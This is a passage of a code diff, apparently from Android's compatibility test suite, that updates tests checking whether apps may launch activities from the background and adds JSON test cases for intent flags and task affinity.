// disable SAW appopp for AppA (it's granted autonatically when installed in CTS)
AppOpsUtils.setOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window", MODE_ERRORED);
assertEquals(AppOpsUtils.getOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window"),
MODE_ERRORED);
- pressWakeupButton();
- pressUnlockButton();
- removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ super.setUp();
assertNull(mAmWmState.getAmState().getTaskByActivity(APP_A_BACKGROUND_ACTIVITY));
assertNull(mAmWmState.getAmState().getTaskByActivity(APP_A_FOREGROUND_ACTIVITY));
assertNull(mAmWmState.getAmState().getTaskByActivity(APP_B_FOREGROUND_ACTIVITY));
@@ -113,17 +120,16 @@
@After
public void tearDown() throws Exception {
- stopTestPackage(TEST_PACKAGE_APP_A);
- stopTestPackage(TEST_PACKAGE_APP_B);
- pressHomeButton();
- AppOpsUtils.reset(APP_A_PACKAGE_NAME);
- mAmWmState.waitForHomeActivityVisible();
+ // We do this before anything else, because having an active device owner can prevent us
+ // from being able to force stop apps. (b/142061276)
runWithShellPermissionIdentity(() -> {
runShellCommand("dpm remove-active-admin --user current "
+ APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
});
- // TODO(b/130169434): Remove it when app switch protection bug is fixed
- SystemClock.sleep(5000);
+
+ stopTestPackage(TEST_PACKAGE_APP_A);
+ stopTestPackage(TEST_PACKAGE_APP_B);
+ AppOpsUtils.reset(APP_A_PACKAGE_NAME);
}
@Test
@@ -135,17 +141,6 @@
boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
assertFalse("Should not able to launch background activity", result);
assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
-
- // TODO(b/137134312): Bring this back once the stacks leakage issue is fixed
- // Make sure aborting activity starts won't have any empty task/stack leaks.
- // List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
- // for (ActivityManagerState.ActivityStack stack : stacks) {
- // assertThat(stack.getTopTask()).isNotNull();
- // List<ActivityManagerState.ActivityTask> tasks = stack.getTasks();
- // for (ActivityManagerState.ActivityTask task : tasks) {
- // assertThat(task.getActivities().size()).isGreaterThan(0);
- // }
- // }
}
@Test
@@ -207,7 +202,7 @@
intent.setComponent(APP_A_FOREGROUND_ACTIVITY);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra(LAUNCH_BACKGROUND_ACTIVITY_EXTRA, true);
- intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 7000);
+ intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 2000);
mContext.startActivity(intent);
boolean result = waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS,
APP_A_FOREGROUND_ACTIVITY);
@@ -215,10 +210,8 @@
assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
// The foreground activity will be paused but will attempt to restart itself in onPause()
- pressHomeButton();
- mAmWmState.waitForHomeActivityVisible();
+ pressHomeAndResumeAppSwitch();
- waitToPreventAppSwitchProtection();
result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -228,6 +221,7 @@
}
@Test
+ @FlakyTest(bugId = 143522449)
public void testActivityNotBlockedWhenForegroundActivityLaunchInDifferentTask()
throws Exception {
// Start foreground activity, and foreground activity able to launch background activity
@@ -236,7 +230,7 @@
intent.setComponent(APP_A_FOREGROUND_ACTIVITY);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra(LAUNCH_BACKGROUND_ACTIVITY_EXTRA, true);
- intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 7000);
+ intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 2000);
intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA, true);
mContext.startActivity(intent);
boolean result = waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS,
@@ -245,10 +239,8 @@
assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
// The foreground activity will be paused but will attempt to restart itself in onPause()
- pressHomeButton();
- mAmWmState.waitForHomeActivityVisible();
+ pressHomeAndResumeAppSwitch();
- waitToPreventAppSwitchProtection();
result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -271,10 +263,8 @@
assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
// The foreground activity will be paused but will attempt to restart itself in onPause()
- pressHomeButton();
- mAmWmState.waitForHomeActivityVisible();
+ pressHomeAndResumeAppSwitch();
- waitToPreventAppSwitchProtection();
result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
@@ -302,6 +292,7 @@
}
@Test
+ @FlakyTest(bugId = 143522449)
public void testSecondActivityBlockedWhenBackgroundActivityLaunch() throws Exception {
Intent baseActivityIntent = new Intent();
baseActivityIntent.setComponent(APP_A_FOREGROUND_ACTIVITY);
@@ -310,9 +301,7 @@
boolean result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
assertTrue("Not able to start foreground activity", result);
assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
- pressHomeButton();
- mAmWmState.waitForHomeActivityVisible();
- waitToPreventAppSwitchProtection();
+ pressHomeAndResumeAppSwitch();
// The activity, now in the background, will attempt to start 2 activities in quick
// succession
@@ -402,15 +391,23 @@
@Test
public void testPendingIntentBroadcast_appBIsBackground() throws Exception {
+ EventReceiver receiver = new EventReceiver(
+ Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED);
+
// Send pendingIntent from AppA to AppB, and the AppB launch the pending intent to start
// activity in App A
- sendPendingIntentBroadcast(0);
+ sendPendingIntentBroadcast(0, receiver.getNotifier());
+
+ // Waits for final hoop in AppA to start looking for activity, otherwise it could succeed
+ // if the broadcast took long time to get executed (which may happen after boot).
+ receiver.waitForEventOrThrow(BROADCAST_DELIVERY_TIMEOUT_MS);
boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
assertFalse("Should not able to launch background activity", result);
assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
}
@Test
+ @SystemUserOnly(reason = "Device owner must be SYSTEM user")
public void testDeviceOwner() throws Exception {
// Send pendingIntent from AppA to AppB, and the AppB launch the pending intent to start
// activity in App A
@@ -421,17 +418,29 @@
String cmdResult = runShellCommand("dpm set-device-owner --user cur "
+ APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
assertThat(cmdResult).contains("Success");
+ EventReceiver receiver = new EventReceiver(
+ Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED);
Intent intent = new Intent();
intent.setComponent(APP_A_START_ACTIVITY_RECEIVER);
+ intent.putExtra(EVENT_NOTIFIER_EXTRA, receiver.getNotifier());
+
mContext.sendBroadcast(intent);
+
+ // Waits for final hoop in AppA to start looking for activity
+ receiver.waitForEventOrThrow(BROADCAST_DELIVERY_TIMEOUT_MS);
boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
assertTrue("Not able to launch background activity", result);
assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
}
- private void waitToPreventAppSwitchProtection() {
- // Any activity launch will be blocked for 5s because of app switching protection.
- SystemClock.sleep(7000);
+ private void pressHomeAndResumeAppSwitch() {
+ // Press home key to ensure stopAppSwitches is called because the last-stop-app-switch-time
+ // is a criteria of allowing background start.
+ pressHomeButton();
+ // Resume the stopped state (it won't affect last-stop-app-switch-time) so we don't need to
+ // wait extra time to prevent the next launch from being delayed.
+ resumeAppSwitches();
+ mAmWmState.waitForHomeActivityVisible();
}
private void assertTaskStack(ComponentName[] expectedComponents,
@@ -449,7 +458,8 @@
}
}
- private void assertPendingIntentBroadcastTimeoutTest(int delayMs, boolean expectedResult) {
+ private void assertPendingIntentBroadcastTimeoutTest(int delayMs, boolean expectedResult)
+ throws TimeoutException {
// Start AppB foreground activity
Intent intent = new Intent();
intent.setComponent(APP_B_FOREGROUND_ACTIVITY);
@@ -458,10 +468,15 @@
boolean result = waitForActivityFocused(APP_B_FOREGROUND_ACTIVITY);
assertTrue("Not able to start foreground Activity", result);
assertTaskStack(new ComponentName[]{APP_B_FOREGROUND_ACTIVITY}, APP_B_FOREGROUND_ACTIVITY);
+ EventReceiver receiver = new EventReceiver(
+ Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED);
// Send pendingIntent from AppA to AppB, and the AppB launch the pending intent to start
// activity in App A
- sendPendingIntentBroadcast(delayMs);
+ sendPendingIntentBroadcast(delayMs, receiver.getNotifier());
+
+ // Waits for final hoop in AppA to start looking for activity
+ receiver.waitForEventOrThrow(BROADCAST_DELIVERY_TIMEOUT_MS);
result = waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS + delayMs,
APP_A_BACKGROUND_ACTIVITY);
assertEquals(expectedResult, result);
@@ -477,25 +492,6 @@
return waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS, componentName);
}
- // Return true if the activity is shown before timeout
- private boolean waitForActivityFocused(int timeoutMs, ComponentName componentName) {
- long endTime = System.currentTimeMillis() + timeoutMs;
- while (endTime > System.currentTimeMillis()) {
- mAmWmState.getAmState().computeState();
- mAmWmState.getWmState().computeState();
- if (mAmWmState.getAmState().hasActivityState(componentName, STATE_RESUMED)) {
- SystemClock.sleep(200);
- mAmWmState.getAmState().computeState();
- mAmWmState.getWmState().computeState();
- break;
- }
- SystemClock.sleep(200);
- mAmWmState.getAmState().computeState();
- mAmWmState.getWmState().computeState();
- }
- return getActivityName(componentName).equals(mAmWmState.getAmState().getFocusedActivity());
- }
-
private void sendPendingIntentActivity() {
Intent intent = new Intent();
intent.setComponent(APP_A_SEND_PENDING_INTENT_RECEIVER);
@@ -503,13 +499,14 @@
mContext.sendBroadcast(intent);
}
- private void sendPendingIntentBroadcast(int delayMs) {
+ private void sendPendingIntentBroadcast(int delayMs, @Nullable ResultReceiver eventNotifier) {
Intent intent = new Intent();
intent.setComponent(APP_A_SEND_PENDING_INTENT_RECEIVER);
intent.putExtra(IS_BROADCAST_EXTRA, true);
if (delayMs > 0) {
intent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, delayMs);
}
+ intent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
mContext.sendBroadcast(intent);
}
}
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_with_new-task.json b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_with_new-task.json
new file mode 100644
index 0000000..09753b8
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_with_new-task.json
@@ -0,0 +1,54 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_without_new-task.json b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_without_new-task.json
new file mode 100644
index 0000000..da82d52
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_without_new-task.json
@@ -0,0 +1,58 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_CLEAR_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json b/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json
index 28e6a48..42f1ffa 100644
--- a/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json
@@ -53,6 +53,10 @@
{
"name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
"state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
}
]
}
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_different_affinity-new_task.json b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_different_affinity-new_task.json
new file mode 100644
index 0000000..9d878d8
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_different_affinity-new_task.json
@@ -0,0 +1,66 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ },
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_same_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_same_affinity-same_task.json
new file mode 100644
index 0000000..6944973
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_same_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/request_same_task_different_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/newTask/request_same_task_different_affinity-same_task.json
new file mode 100644
index 0000000..a444299
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/request_same_task_different_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/keep_affinity-request_new_task_with_same_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/keep_affinity-request_new_task_with_same_affinity-same_task.json
new file mode 100644
index 0000000..3dd2c99
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/keep_affinity-request_new_task_with_same_affinity-same_task.json
@@ -0,0 +1,72 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_changed_affinity-new_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_changed_affinity-new_task.json
new file mode 100644
index 0000000..53f01b5
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_changed_affinity-new_task.json
@@ -0,0 +1,81 @@
+{
+ "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+ },
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_old_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_old_affinity-same_task.json
new file mode 100644
index 0000000..2ec6f78
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_old_affinity-same_task.json
@@ -0,0 +1,73 @@
+{
+ "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_changed_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_changed_affinity-same_task.json
new file mode 100644
index 0000000..7e31db4
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_changed_affinity-same_task.json
@@ -0,0 +1,73 @@
+{
+ "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_old_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_old_affinity-same_task.json
new file mode 100644
index 0000000..afd155a
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_old_affinity-same_task.json
@@ -0,0 +1,73 @@
+{
